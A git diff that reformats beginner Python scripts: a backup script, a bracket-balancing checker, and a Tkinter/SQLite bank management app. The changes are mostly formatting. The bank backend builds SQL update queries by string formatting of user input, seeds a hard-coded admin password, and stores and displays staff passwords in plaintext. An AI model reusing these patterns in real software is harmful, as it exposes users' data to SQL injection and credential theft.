"my_config" +) # Set the variable by getting the value from the OS setting +dropbox = os.getenv( + "dropbox" +) # Set the variable by getting the value from the OS setting +conffile = "services.conf" # Set the variable as the name of the configuration file +conffilename = os.path.join( + confdir, conffile +) # Set the variable by combining the path and the file name +sourcedir = os.path.expanduser( + "~/Library/Services/" +) # Source directory of where the scripts are located # Combine several settings to create -destdir = os.path.join(dropbox, "My_backups" + "/" + "Automater_services" + todaystr + "/") +destdir = os.path.join( + dropbox, "My_backups" + "/" + "Automater_services" + todaystr + "/" +) # the destination backup directory for file_name in open(conffilename): # Walk through the configuration file fname = file_name.strip() # Strip out the blank lines from the configuration file if fname: # For the lines that are not blank - sourcefile = os.path.join(sourcedir, fname) # Get the name of the source files to backup - destfile = os.path.join(destdir, fname) # Get the name of the destination file names + sourcefile = os.path.join( + sourcedir, fname + ) # Get the name of the source files to backup + destfile = os.path.join( + destdir, fname + ) # Get the name of the destination file names shutil.copytree(sourcefile, destfile) # Copy the directories diff --git a/balance_parenthesis.py b/balance_parenthesis.py index cd563d633cd..cd89ddcf6bd 100644 --- a/balance_parenthesis.py +++ b/balance_parenthesis.py @@ -16,38 +16,40 @@ def peek(self): def display(self): return self.items - + + def is_same(p1, p2): - if p1 == '(' and p2 == ')': - return True - elif p1 == '[' and p2 == ']': - return True - elif p1 == '{' and p2 == '}': - return True - else: - return False + if p1 == "(" and p2 == ")": + return True + elif p1 == "[" and p2 == "]": + return True + elif p1 == "{" and p2 == "}": + return True + else: + return False + def is_balanced(check_string): - s = Stack() - index = 0 - is_bal = True - while index < len(check_string) and is_bal: - paren = check_string[index] - if paren in '{[(': - s.push(paren) - else: - if s.is_empty(): - is_bal = False - else: - top = s.pop() - if not is_same(top, paren): - is_bal = False - index += 1 - - if s.is_empty() and is_bal: - return True + s = Stack() + index = 0 + is_bal = True + while index < len(check_string) and is_bal: + paren = check_string[index] + if paren in "{[(": + s.push(paren) else: - return False + if s.is_empty(): + is_bal = False + else: + top = s.pop() + if not is_same(top, paren): + is_bal = False + index += 1 + + if s.is_empty() and is_bal: + return True + else: + return False + - -print(is_balanced('[((())})]')) +print(is_balanced("[((())})]")) diff --git a/bank_managment_system/backend.py b/bank_managment_system/backend.py index cd4e7c60ae4..e54027cf0a6 100644 --- a/bank_managment_system/backend.py +++ b/bank_managment_system/backend.py @@ -10,8 +10,11 @@ def connect_database(): cur = conn.cursor() cur.execute( - "create table if not exists bank (acc_no int, name text, age int, address text, balance int, account_type text, mobile_number int)") - cur.execute("create table if not exists staff (name text, pass text,salary int, position text)") + "create table if not exists bank (acc_no int, name text, age int, address text, balance int, account_type text, mobile_number int)" + ) + cur.execute( + "create table if not exists staff (name text, pass text,salary int, position text)" + ) cur.execute("create table if not exists admin (name text, pass text)") cur.execute("insert into admin values('arpit','123')") conn.commit() @@ -60,8 +63,10 @@ def check_employee(name, password): # create customer details in database def create_customer(name, age, address, balance, acc_type, mobile_number): global acc_no - cur.execute("insert into bank values(?,?,?,?,?,?,?)", - (acc_no, name, age, address, balance, acc_type, mobile_number)) + cur.execute( + "insert into bank values(?,?,?,?,?,?,?)", + (acc_no, name, age, address, balance, acc_type, mobile_number), + ) conn.commit() acc_no = acc_no + 1 return acc_no - 1 @@ -87,7 +92,15 @@ def get_details(acc_no): if len(detail) == 0: return False else: - return (detail[0][0], detail[0][1], detail[0][2], detail[0][3], detail[0][4], detail[0][5], detail[0][6]) + return ( + detail[0][0], + detail[0][1], + detail[0][2], + detail[0][3], + detail[0][4], + detail[0][5], + detail[0][6], + ) # add new balance of customer in bank database @@ -140,7 +153,9 @@ def update_age_in_bank_table(new_name, acc_no): # update_address_in_bank_table def update_address_in_bank_table(new_name, acc_no): print(new_name) - conn.execute("update bank set address='{}' where acc_no={}".format(new_name, acc_no)) + conn.execute( + "update bank set address='{}' where acc_no={}".format(new_name, acc_no) + ) conn.commit() @@ -201,13 +216,17 @@ def update_employee_password(new_pass, old_name): def update_employee_salary(new_salary, old_name): print(new_salary, old_name) - cur.execute("update staff set salary={} where name='{}'".format(new_salary, old_name)) + cur.execute( + "update staff set salary={} where name='{}'".format(new_salary, old_name) + ) conn.commit() def update_employee_position(new_pos, old_name): print(new_pos, old_name) - cur.execute("update staff set position='{}' where name='{}'".format(new_pos, old_name)) + cur.execute( + "update staff set position='{}' where name='{}'".format(new_pos, old_name) + ) conn.commit() diff --git a/bank_managment_system/frontend.py b/bank_managment_system/frontend.py index f16cebbfc26..c885c2b37c3 100644 --- a/bank_managment_system/frontend.py +++ b/bank_managment_system/frontend.py @@ -26,18 +26,28 @@ def delete_create(): balance = entry8.get() acc_type = entry9.get() mobile_number = entry10.get() - if len(name) != 0 and len(age) != 0 and len(address) != 0 and len(balance) != 0 and len(acc_type) != 0 and len( - mobile_number) != 0: - - acc_no = backend.create_customer(name, age, address, balance, acc_type, mobile_number) - - label = Label(create_employee_frame, text='Your account number is {}'.format(acc_no)) + if ( + len(name) != 0 + and len(age) != 0 + and len(address) != 0 + and len(balance) != 0 + and len(acc_type) != 0 + and len(mobile_number) != 0 + ): + + acc_no = backend.create_customer( + name, age, address, balance, acc_type, mobile_number + ) + + label = Label( + create_employee_frame, text="Your account number is {}".format(acc_no) + ) label.grid(row=14) button = Button(create_employee_frame, text="Exit", command=delete_create) button.grid(row=15) else: - label = Label(create_employee_frame, text='Please fill all entries') + label = Label(create_employee_frame, text="Please fill all entries") label.grid(row=14) button = Button(create_employee_frame, text="Exit", command=delete_create) @@ -45,34 +55,34 @@ def delete_create(): frame1.grid_forget() global create_employee_frame - create_employee_frame = Frame(tk, bg='black') + create_employee_frame = Frame(tk, bg="black") create_employee_frame.grid(padx=500, pady=150) - label = Label(create_employee_frame, text='Customer Detail', font='bold') + label = Label(create_employee_frame, text="Customer Detail", font="bold") label.grid(row=0, pady=4) - label = Label(create_employee_frame, text='Name', font='bold') + label = Label(create_employee_frame, text="Name", font="bold") label.grid(row=1, pady=4) global entry5 entry5 = Entry(create_employee_frame) entry5.grid(row=2, pady=4) - label = Label(create_employee_frame, text='Age', font='bold') + label = Label(create_employee_frame, text="Age", font="bold") label.grid(row=3, pady=4) global entry6 entry6 = Entry(create_employee_frame) entry6.grid(row=4, pady=4) - label = Label(create_employee_frame, text='address', font='bold') + label = Label(create_employee_frame, text="address", font="bold") label.grid(row=5, pady=4) global entry7 entry7 = Entry(create_employee_frame) entry7.grid(row=6, pady=4) - label = Label(create_employee_frame, text='Balance', font='bold') + label = Label(create_employee_frame, text="Balance", font="bold") label.grid(row=7, pady=4) global entry8 entry8 = Entry(create_employee_frame) entry8.grid(row=8, pady=4) - label = Label(create_employee_frame, text='Account Type', font='bold') + label = Label(create_employee_frame, text="Account Type", font="bold") label.grid(row=9, pady=4) - label = Label(create_employee_frame, text='Mobile number', font='bold') + label = Label(create_employee_frame, text="Mobile number", font="bold") label.grid(row=11, pady=4) global entry9 entry9 = Entry(create_employee_frame) @@ -80,7 +90,9 @@ def delete_create(): global entry10 entry10 = Entry(create_employee_frame) entry10.grid(row=12, pady=4) - button = Button(create_employee_frame, text='Submit', command=create_customer_in_database) + button = Button( + create_employee_frame, text="Submit", command=create_customer_in_database + ) button.grid(row=13, pady=4) mainloop() @@ -92,7 +104,7 @@ def search_acc(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text="Enter account number", font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(row=0, pady=6) global entry11 @@ -124,33 +136,51 @@ def back_page2(): show_frame = Frame(tk) show_frame.grid(padx=400, pady=200) - label = Label(show_frame, text="Account_number:\t{}".format(details[0]), font='bold') + label = Label( + show_frame, text="Account_number:\t{}".format(details[0]), font="bold" + ) label.grid(row=0, pady=6) - label = Label(show_frame, text="Name:\t{}".format(details[1]), font='bold') + label = Label(show_frame, text="Name:\t{}".format(details[1]), font="bold") label.grid(row=1, pady=6) - label = Label(show_frame, text="Age:\t{}".format(details[2]), font='bold') + label = Label(show_frame, text="Age:\t{}".format(details[2]), font="bold") label.grid(row=2, pady=6) - label = Label(show_frame, text="Address:\t{}".format(details[3]), font='bold') + label = Label( + show_frame, text="Address:\t{}".format(details[3]), font="bold" + ) label.grid(row=3, pady=6) - label = Label(show_frame, text="Balance:\t{}".format(details[4]), font='bold') + label = Label( + show_frame, text="Balance:\t{}".format(details[4]), font="bold" + ) label.grid(row=4, pady=6) - label = Label(show_frame, text="Account_type:\t{}".format(details[5]), font='bold') + label = Label( + show_frame, text="Account_type:\t{}".format(details[5]), font="bold" + ) label.grid(row=5, pady=6) - label = Label(show_frame, text="Mobile Number:\t{}".format(details[6]), font='bold') + label = Label( + show_frame, text="Mobile Number:\t{}".format(details[6]), font="bold" + ) label.grid(row=6, pady=6) - button = Button(show_frame, text='Exit', command=clear_show_frame, width=20, height=2, bg='red', fg='white') + button = Button( + show_frame, + text="Exit", + command=clear_show_frame, + width=20, + height=2, + bg="red", + fg="white", + ) button.grid(row=7, pady=6) mainloop() else: label = Label(search_frame, text="Account Not Found") label.grid() - button = Button(search_frame, text='Exit', command=back_page2) + button = Button(search_frame, text="Exit", command=back_page2) button.grid() else: label = Label(search_frame, text="Enter correct account number") label.grid() - button = Button(search_frame, text='Exit', command=back_page2) + button = Button(search_frame, text="Exit", command=back_page2) button.grid() @@ -176,6 +206,7 @@ def back_page2(): button.grid() mainloop() else: + def update_money(): new_money = entry12.get() backend.update_balance(new_money, acc_no) @@ -189,19 +220,23 @@ def update_money(): detail = backend.get_detail(acc_no) - label = Label(add_frame, text='Account holder name: {}'.format(detail[0][0])) + label = Label( + add_frame, text="Account holder name: {}".format(detail[0][0]) + ) label.grid(row=0, pady=3) - label = Label(add_frame, text='Current amount: {}'.format(detail[0][1])) + label = Label( + add_frame, text="Current amount: {}".format(detail[0][1]) + ) label.grid(row=1, pady=3) - label = Label(add_frame, text='Enter Money') + label = Label(add_frame, text="Enter Money") label.grid(row=2, pady=3) global entry12 entry12 = Entry(add_frame) entry12.grid(row=3, pady=3) - button = Button(add_frame, text='Add', command=update_money) + button = Button(add_frame, text="Add", command=update_money) button.grid(row=4) mainloop() @@ -217,7 +252,7 @@ def search_acc(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text="Enter account number", font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(row=0, pady=6) global entry11 @@ -254,6 +289,7 @@ def go_page2(): button.grid() mainloop() else: + def deduct_money(): new_money = entry12.get() result = backend.deduct_balance(new_money, acc_no) @@ -264,7 +300,7 @@ def deduct_money(): label = Label(search_frame, text="Insufficient Balance") label.grid(row=4) - button = Button(search_frame, text='Exit', command=go_page2) + button = Button(search_frame, text="Exit", command=go_page2) button.grid(row=5) mainloop() @@ -275,19 +311,23 @@ def deduct_money(): add_frame.grid(padx=400, pady=300) detail = backend.get_detail(acc_no) - label = Label(add_frame, text='Account holder name: {}'.format(detail[0][0])) + label = Label( + add_frame, text="Account holder name: {}".format(detail[0][0]) + ) label.grid(row=0, pady=3) - label = Label(add_frame, text='Current amount: {}'.format(detail[0][1])) + label = Label( + add_frame, text="Current amount: {}".format(detail[0][1]) + ) label.grid(row=1, pady=3) - label = Label(add_frame, text='Enter Money') + label = Label(add_frame, text="Enter Money") label.grid(row=2, pady=3) global entry12 entry12 = Entry(add_frame) entry12.grid(row=3, pady=3) - button = Button(add_frame, text='Withdraw', command=deduct_money) + button = Button(add_frame, text="Withdraw", command=deduct_money) button.grid(row=4) mainloop() @@ -295,7 +335,7 @@ def deduct_money(): label = Label(search_frame, text="Enter correct account number") label.grid(row=4) - button = Button(search_frame, text='Exit', command=go_page2) + button = Button(search_frame, text="Exit", command=go_page2) button.grid(row=5) mainloop() @@ -305,7 +345,7 @@ def search_acc(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text="Enter account number", font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(row=0, pady=6) global entry11 @@ -343,6 +383,7 @@ def back_page2(): button.grid() mainloop() else: + def delete_check_frame(): check_frame.grid_forget() page2() @@ -353,10 +394,19 @@ def delete_check_frame(): check_frame = Frame(tk) check_frame.grid(padx=500, pady=300) - label = Label(check_frame, text='Balance Is:{}'.format(balance), font='bold') + label = Label( + check_frame, text="Balance Is:{}".format(balance), font="bold" + ) label.grid(row=0, pady=4) - button = Button(check_frame, text='Back', command=delete_check_frame, width=20, height=2, bg='red') + button = Button( + check_frame, + text="Back", + command=delete_check_frame, + width=20, + height=2, + bg="red", + ) button.grid(row=1) mainloop() @@ -372,7 +422,7 @@ def search_acc(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text="Enter account number", font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(row=0, pady=6) global entry11 @@ -411,19 +461,21 @@ def update_name_in_database(): submit_button.destroy() name_label.destroy() else: - tkinter.messagebox.showinfo('Error', 'Please fill blanks') + tkinter.messagebox.showinfo("Error", "Please fill blanks") entry_name.destroy() submit_button.destroy() name_label.destroy() global entry_name global name_label - name_label = Label(update_customer_frame, text='Enter new name') + name_label = Label(update_customer_frame, text="Enter new name") name_label.grid(row=1, column=1) entry_name = Entry(update_customer_frame) entry_name.grid(row=1, column=2, padx=2) global submit_button - submit_button = Button(update_customer_frame, text='Update', command=update_name_in_database) + submit_button = Button( + update_customer_frame, text="Update", command=update_name_in_database + ) submit_button.grid(row=1, column=3) # defing a function who make gui fro age @@ -439,19 +491,21 @@ def update_age_in_database(): submit_button.destroy() age_label.destroy() else: - tkinter.messagebox.showinfo('Error', 'Please enter age') + tkinter.messagebox.showinfo("Error", "Please enter age") entry_name.destroy() submit_button.destroy() age_label.destroy() global age_label - age_label = Label(update_customer_frame, text='Enter new Age:') + age_label = Label(update_customer_frame, text="Enter new Age:") age_label.grid(row=2, column=1) global entry_name entry_name = Entry(update_customer_frame) entry_name.grid(row=2, column=2, padx=2) global submit_button - submit_button = Button(update_customer_frame, text='Update', command=update_age_in_database) + submit_button = Button( + update_customer_frame, text="Update", command=update_age_in_database + ) submit_button.grid(row=2, column=3) # defing a function who make gui fro age @@ -466,20 +520,22 @@ def update_address_in_database(): submit_button.destroy() address_label.destroy() else: - tkinter.messagebox.showinfo('Error', 'Please fill address') + tkinter.messagebox.showinfo("Error", "Please fill address") entry_name.destroy() submit_button.destroy() address_label.destroy() global address_label - address_label = Label(update_customer_frame, text='Enter new Address:') + address_label = Label(update_customer_frame, text="Enter new Address:") address_label.grid(row=3, column=1) global entry_name entry_name = Entry(update_customer_frame) entry_name.grid(row=3, column=2, padx=2) global submit_button - submit_button = Button(update_customer_frame, text='Update', command=update_address_in_database) + submit_button = Button( + update_customer_frame, text="Update", command=update_address_in_database + ) submit_button.grid(row=3, column=3) acc_no = entry_acc.get() @@ -493,33 +549,43 @@ def update_address_in_database(): update_customer_frame = Frame(tk) update_customer_frame.grid(padx=300, pady=300) - label = Label(update_customer_frame, text='What do you want to update') + label = Label(update_customer_frame, text="What do you want to update") label.grid(row=0) - name_button = Button(update_customer_frame, text='Name', command=update_name) + name_button = Button( + update_customer_frame, text="Name", command=update_name + ) name_button.grid(row=1, column=0, pady=6) - age_button = Button(update_customer_frame, text='Age', command=update_age) + age_button = Button( + update_customer_frame, text="Age", command=update_age + ) age_button.grid(row=2, column=0, pady=6) - address_button = Button(update_customer_frame, text='Address', command=update_address) + address_button = Button( + update_customer_frame, text="Address", command=update_address + ) address_button.grid(row=3, column=0, pady=6) - exit_button = Button(update_customer_frame, text='Exit', command=back_to_page2_from_update) + exit_button = Button( + update_customer_frame, + text="Exit", + command=back_to_page2_from_update, + ) exit_button.grid(row=4) mainloop() else: - label = Label(search_frame, text='Invalid account number') + label = Label(search_frame, text="Invalid account number") label.grid() - button = Button(search_frame, text='Exit', command=back_to_page2) + button = Button(search_frame, text="Exit", command=back_to_page2) button.grid() else: - label = Label(search_frame, text='Fill account number') + label = Label(search_frame, text="Fill account number") label.grid() - button = Button(search_frame, text='Exit', command=back_to_page2) + button = Button(search_frame, text="Exit", command=back_to_page2) button.grid() frame1.grid_forget() @@ -529,13 +595,15 @@ def update_address_in_database(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text='Enter account number', font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(pady=4) entry_acc = Entry(search_frame) entry_acc.grid(pady=4) - button = Button(search_frame, text='update', command=show_all_updateble_content, bg='red') + button = Button( + search_frame, text="update", command=show_all_updateble_content, bg="red" + ) button.grid() @@ -551,13 +619,22 @@ def clear_list_frame(): global list_frame list_frame = Frame(tk) list_frame.grid(padx=50, pady=50) - label = Label(list_frame, text="Acc_no\t\t\tName\t\t\tAge\t\t\tAddress\t\t\tbalance") + label = Label( + list_frame, text="Acc_no\t\t\tName\t\t\tAge\t\t\tAddress\t\t\tbalance" + ) label.grid(pady=6) for i in details: - label = Label(list_frame, text="{}\t\t\t{}\t\t\t{}\t\t\t{}\t\t\t{}".format(i[0], i[1], i[2], i[3], i[4])) + label = Label( + list_frame, + text="{}\t\t\t{}\t\t\t{}\t\t\t{}\t\t\t{}".format( + i[0], i[1], i[2], i[3], i[4] + ), + ) label.grid(pady=4) - button = Button(list_frame, text='Back', width=20, height=2, bg='red', command=clear_list_frame) + button = Button( + list_frame, text="Back", width=20, height=2, bg="red", command=clear_list_frame + ) button.grid() mainloop() @@ -599,7 +676,7 @@ def search_acc(): search_frame = Frame(tk) search_frame.grid(padx=500, pady=300) - label = Label(search_frame, text="Enter account number", font='bold') + label = Label(search_frame, text="Enter account number", font="bold") label.grid(row=0, pady=6) global entry11 @@ -619,7 +696,7 @@ def page2(): def back_to_main_from_page2(): frame1.grid_forget() global frame - frame = Frame(tk, bg='black') + frame = Frame(tk, bg="black") frame.grid(padx=500, pady=250) button = Button(frame, text="Admin", command=admin_login) @@ -634,26 +711,34 @@ def back_to_main_from_page2(): frame.grid_forget() global frame1 - frame1 = Frame(tk, bg='black') + frame1 = Frame(tk, bg="black") frame1.grid(padx=500, pady=100) button1 = Button(frame1, text="Create Account", command=create, width=20, height=2) button1.grid(row=0, pady=6) - button2 = Button(frame1, text="Show Details", command=search_acc, width=20, height=2) + button2 = Button( + frame1, text="Show Details", command=search_acc, width=20, height=2 + ) button2.grid(row=1, pady=6) button3 = Button(frame1, text="Add balance", command=add, width=20, height=2) button3.grid(row=2, pady=6) - button4 = Button(frame1, text="Withdraw money", command=withdraw, width=20, height=2) + button4 = Button( + frame1, text="Withdraw money", command=withdraw, width=20, height=2 + ) button4.grid(row=3, pady=6) button5 = Button(frame1, text="Check balance", command=check, width=20, height=2) button5.grid(row=4, pady=6) button6 = Button(frame1, text="Update Account", command=update, width=20, height=2) button6.grid(row=5, pady=6) - button7 = Button(frame1, text="List of all members", command=allmembers, width=20, height=2) + button7 = Button( + frame1, text="List of all members", command=allmembers, width=20, height=2 + ) button7.grid(row=6, pady=6) button8 = Button(frame1, text="Delete Account", command=delete, width=20, height=2) button8.grid(row=7, pady=6) - button9 = Button(frame1, text="Exit", command=back_to_main_from_page2, width=20, height=2) + button9 = Button( + frame1, text="Exit", command=back_to_main_from_page2, width=20, height=2 + ) button9.grid(row=8, pady=6) mainloop() @@ -670,7 +755,12 @@ def back_to_main_page1_from_create_emp(): password = entry4.get() salary = entry16.get() position = entry17.get() - if len(name) != 0 and len(password) != 0 and len(salary) != 0 and len(position) != 0: + if ( + len(name) != 0 + and len(password) != 0 + and len(salary) != 0 + and len(position) != 0 + ): backend.create_employee(name, password, salary, position) frame_create_emp.grid_forget() page1() @@ -678,37 +768,48 @@ def back_to_main_page1_from_create_emp(): label = Label(frame_create_emp, text="Please fill all entries") label.grid(pady=2) - button = Button(frame_create_emp, text="Exit", command=back_to_main_page1_from_create_emp, bg='red') + button = Button( + frame_create_emp, + text="Exit", + command=back_to_main_page1_from_create_emp, + bg="red", + ) button.grid() page1_frame.grid_forget() global frame_create_emp - frame_create_emp = Frame(tk, bg='black') + frame_create_emp = Frame(tk, bg="black") frame_create_emp.grid(padx=500, pady=200) - label = Label(frame_create_emp, text='Name:', font='bold') + label = Label(frame_create_emp, text="Name:", font="bold") label.grid(row=0, pady=4) global entry3 entry3 = Entry(frame_create_emp) entry3.grid(row=1, pady=4) - label2 = Label(frame_create_emp, text='Password', font='bold') + label2 = Label(frame_create_emp, text="Password", font="bold") label2.grid(row=2, pady=4) global entry4 entry4 = Entry(frame_create_emp) entry4.grid(row=3, pady=4) - label3 = Label(frame_create_emp, text='Salary', font='bold') + label3 = Label(frame_create_emp, text="Salary", font="bold") label3.grid(row=4, pady=4) global entry16 entry16 = Entry(frame_create_emp) entry16.grid(row=5, pady=4) - label4 = Label(frame_create_emp, text='Position', font='bold') + label4 = Label(frame_create_emp, text="Position", font="bold") label4.grid(row=6, pady=4) global entry17 entry17 = Entry(frame_create_emp) entry17.grid(row=7, pady=4) - button = Button(frame_create_emp, text='Submit', command=create_emp_in_database, width=15, height=2) + button = Button( + frame_create_emp, + text="Submit", + command=create_emp_in_database, + width=15, + height=2, + ) button.grid(row=8, pady=4) mainloop() @@ -728,7 +829,6 @@ def back_to_page1_from_update(): page1() def update_name_in_database(): - def database_calling(): new_name = entry19.get() if len(new_name) != 0: @@ -739,17 +839,18 @@ def database_calling(): else: entry19.destroy() update_button.destroy() - tkinter.messagebox.showinfo('Error', 'Please fill entry') + tkinter.messagebox.showinfo("Error", "Please fill entry") global entry19 entry19 = Entry(update_frame) entry19.grid(row=1, column=1, padx=4) global update_button - update_button = Button(update_frame, text='Update', command=database_calling) + update_button = Button( + update_frame, text="Update", command=database_calling + ) update_button.grid(row=1, column=2, padx=4) def update_password_in_database(): - def database_calling(): new_password = entry19.get() old_name = staff_name.get() @@ -760,17 +861,18 @@ def database_calling(): else: entry19.destroy() update_button.destroy() - tkinter.messagebox.showinfo('Error', 'Please Fill Entry') + tkinter.messagebox.showinfo("Error", "Please Fill Entry") global entry19 entry19 = Entry(update_frame) entry19.grid(row=2, column=1, padx=4) global update_button - update_button = Button(update_frame, text='Update', command=database_calling) + update_button = Button( + update_frame, text="Update", command=database_calling + ) update_button.grid(row=2, column=2, padx=4) def update_salary_in_database(): - def database_calling(): new_salary = entry19.get() r = check_string_in_account_no(new_salary) @@ -783,17 +885,18 @@ def database_calling(): else: entry19.destroy() update_button.destroy() - tkinter.messagebox.showinfo('Error', 'Invalid Input') + tkinter.messagebox.showinfo("Error", "Invalid Input") global entry19 entry19 = Entry(update_frame) entry19.grid(row=3, column=1, padx=4) global update_button - update_button = Button(update_frame, text='Update', command=database_calling) + update_button = Button( + update_frame, text="Update", command=database_calling + ) update_button.grid(row=3, column=2, padx=4) def update_position_in_database(): - def database_calling(): new_position = entry19.get() if len(new_position) != 0: @@ -805,35 +908,69 @@ def database_calling(): else: entry19.destroy() update_button.destroy() - tkinter.messagebox.showinfo('Error', 'Please Fill Entry') + tkinter.messagebox.showinfo("Error", "Please Fill Entry") global entry19 entry19 = Entry(update_frame) entry19.grid(row=4, column=1, padx=4) global update_button - update_button = Button(update_frame, text='Update', command=database_calling) + update_button = Button( + update_frame, text="Update", command=database_calling + ) update_button.grid(row=4, column=2, padx=4) global update_frame update_frame = Frame(tk) update_frame.grid(padx=400, pady=250) - label = Label(update_frame, text='press what do you want to update', font='bold') + label = Label( + update_frame, text="press what do you want to update", font="bold" + ) label.grid(pady=6) - button = Button(update_frame, text='Name', command=update_name_in_database, width=14, height=2) + button = Button( + update_frame, + text="Name", + command=update_name_in_database, + width=14, + height=2, + ) button.grid(row=1, column=0, padx=2, pady=2) - button = Button(update_frame, text='password', command=update_password_in_database, width=14, height=2) + button = Button( + update_frame, + text="password", + command=update_password_in_database, + width=14, + height=2, + ) button.grid(row=2, column=0, padx=2, pady=2) - button = Button(update_frame, text='salary', command=update_salary_in_database, width=14, height=2) + button = Button( + update_frame, + text="salary", + command=update_salary_in_database, + width=14, + height=2, + ) button.grid(row=3, column=0, padx=2, pady=2) - button = Button(update_frame, text='position', command=update_position_in_database, width=14, height=2) + button = Button( + update_frame, + text="position", + command=update_position_in_database, + width=14, + height=2, + ) button.grid(row=4, column=0, padx=2, pady=2) - button = Button(update_frame, text='Back', command=back_to_page1_from_update, width=14, height=2) + button = Button( + update_frame, + text="Back", + command=back_to_page1_from_update, + width=14, + height=2, + ) button.grid(row=5, column=0, pady=2) name = staff_name.get() @@ -843,17 +980,17 @@ def database_calling(): update_that_particular_employee() else: - label = Label(show_employee_frame, text='Employee not found') + label = Label(show_employee_frame, text="Employee not found") label.grid() - button = Button(show_employee_frame, text='Exit', command=back_to_page1) + button = Button(show_employee_frame, text="Exit", command=back_to_page1) button.grid() else: - label = Label(show_employee_frame, text='Fill the name') + label = Label(show_employee_frame, text="Fill the name") label.grid() - button = Button(show_employee_frame, text='Exit', command=back_to_page1) + button = Button(show_employee_frame, text="Exit", command=back_to_page1) button.grid() # entering name of staff member @@ -862,13 +999,20 @@ def database_calling(): show_employee_frame = Frame(tk) show_employee_frame.grid(padx=300, pady=300) - label = Label(show_employee_frame, text='Enter name of staff member whom detail would you want to update') + label = Label( + show_employee_frame, + text="Enter name of staff member whom detail would you want to update", + ) label.grid() global staff_name staff_name = Entry(show_employee_frame) staff_name.grid() global update_butoon_for_staff - update_butoon_for_staff = Button(show_employee_frame, text='Update Details', command=update_details_of_staff_member) + update_butoon_for_staff = Button( + show_employee_frame, + text="Update Details", + command=update_details_of_staff_member, + ) update_butoon_for_staff.grid() @@ -883,17 +1027,31 @@ def back_to_main_page1(): show_employee_frame = Frame(tk) show_employee_frame.grid(padx=50, pady=50) - label = Label(show_employee_frame, text='Name\t\t\tSalary\t\t\tPosition\t\t\tpassword', font='bold') + label = Label( + show_employee_frame, + text="Name\t\t\tSalary\t\t\tPosition\t\t\tpassword", + font="bold", + ) label.grid(row=0) details = backend.show_employees() for i in details: - label = Label(show_employee_frame, text="{}\t\t\t{}\t\t\t{}\t\t\t{}".format(i[0], i[1], i[2], i[3])) + label = Label( + show_employee_frame, + text="{}\t\t\t{}\t\t\t{}\t\t\t{}".format(i[0], i[1], i[2], i[3]), + ) label.grid(pady=4) - button = Button(show_employee_frame, text='Exit', command=back_to_main_page1, width=20, height=2, bg='red', - font='bold') + button = Button( + show_employee_frame, + text="Exit", + command=back_to_main_page1, + width=20, + height=2, + bg="red", + font="bold", + ) button.grid() mainloop() @@ -915,10 +1073,16 @@ def back_to_main_page1_from_total_money(): label = Label(all_money, text="Total Amount of money") label.grid(row=0, pady=6) - label = Label(all_money, text='{}'.format(all)) + label = Label(all_money, text="{}".format(all)) label.grid(row=1) - button = Button(all_money, text="Back", command=back_to_main_page1_from_total_money, width=15, height=2) + button = Button( + all_money, + text="Back", + command=back_to_main_page1_from_total_money, + width=15, + height=2, + ) button.grid(row=3) mainloop() @@ -927,7 +1091,7 @@ def back_to_main_page1_from_total_money(): def back_to_main(): page1_frame.grid_forget() global frame - frame = Frame(tk, bg='black') + frame = Frame(tk, bg="black") frame.grid(padx=500, pady=250) button = Button(frame, text="Admin", command=admin_login) @@ -948,7 +1112,7 @@ def page1(): def back_to_main2(): admin_frame.grid_forget() global frame - frame = Frame(tk, bg='black') + frame = Frame(tk, bg="black") frame.grid(padx=500, pady=250) button = Button(frame, text="Admin", command=admin_login) @@ -972,35 +1136,57 @@ def back_to_main2(): admin_frame.grid_forget() global page1_frame - page1_frame = Frame(tk, bg='black') + page1_frame = Frame(tk, bg="black") page1_frame.grid(padx=500, pady=200) - button10 = Button(page1_frame, text="New Employee", command=create_employee, width=20, height=2) + button10 = Button( + page1_frame, + text="New Employee", + command=create_employee, + width=20, + height=2, + ) button10.grid(row=0, pady=6) - button11 = Button(page1_frame, text="Update detail", command=update_employee, width=20, height=2) + button11 = Button( + page1_frame, + text="Update detail", + command=update_employee, + width=20, + height=2, + ) button11.grid(row=1, pady=6) - button13 = Button(page1_frame, text="Show All Employee", command=show_employee, width=20, height=2) + button13 = Button( + page1_frame, + text="Show All Employee", + command=show_employee, + width=20, + height=2, + ) button13.grid(row=2, pady=6) - button11 = Button(page1_frame, text="Total Money", command=Total_money, width=20, height=2) + button11 = Button( + page1_frame, text="Total Money", command=Total_money, width=20, height=2 + ) button11.grid(row=3, pady=6) - button12 = Button(page1_frame, text="Back", command=back_to_main, width=20, height=2) + button12 = Button( + page1_frame, text="Back", command=back_to_main, width=20, height=2 + ) button12.grid(row=4, pady=6) mainloop() else: label = Label(admin_frame, text="Invalid id and pasasword") label.grid(row=6, pady=10) - button = Button(admin_frame, text='Exit', command=back_to_main2) + button = Button(admin_frame, text="Exit", command=back_to_main2) button.grid(row=7) mainloop() else: label = Label(admin_frame, text="Please fill All Entries") label.grid(row=6, pady=10) - button = Button(admin_frame, text='Exit', command=back_to_main2) + button = Button(admin_frame, text="Exit", command=back_to_main2) button.grid(row=7) mainloop() @@ -1010,7 +1196,7 @@ def employee_login(): def back_to_main3(): employee_frame.grid_forget() global frame - frame = Frame(tk, bg='black') + frame = Frame(tk, bg="black") frame.grid(padx=400, pady=250) button = Button(frame, text="Admin", command=admin_login) @@ -1037,14 +1223,14 @@ def check_emp(): else: label = Label(employee_frame, text="Invalid id and pasasword") label.grid(row=6, pady=10) - button = Button(employee_frame, text='Exit', command=back_to_main3) + button = Button(employee_frame, text="Exit", command=back_to_main3) button.grid(row=7) mainloop() else: label = Label(employee_frame, text="Please Fill All Entries") label.grid(row=6, pady=10) - button = Button(employee_frame, text='Exit', command=back_to_main3) + button = Button(employee_frame, text="Exit", command=back_to_main3) button.grid(row=7) mainloop() @@ -1052,10 +1238,10 @@ def check_emp(): frame.grid_forget() global employee_frame - employee_frame = Frame(tk, bg='black') + employee_frame = Frame(tk, bg="black") 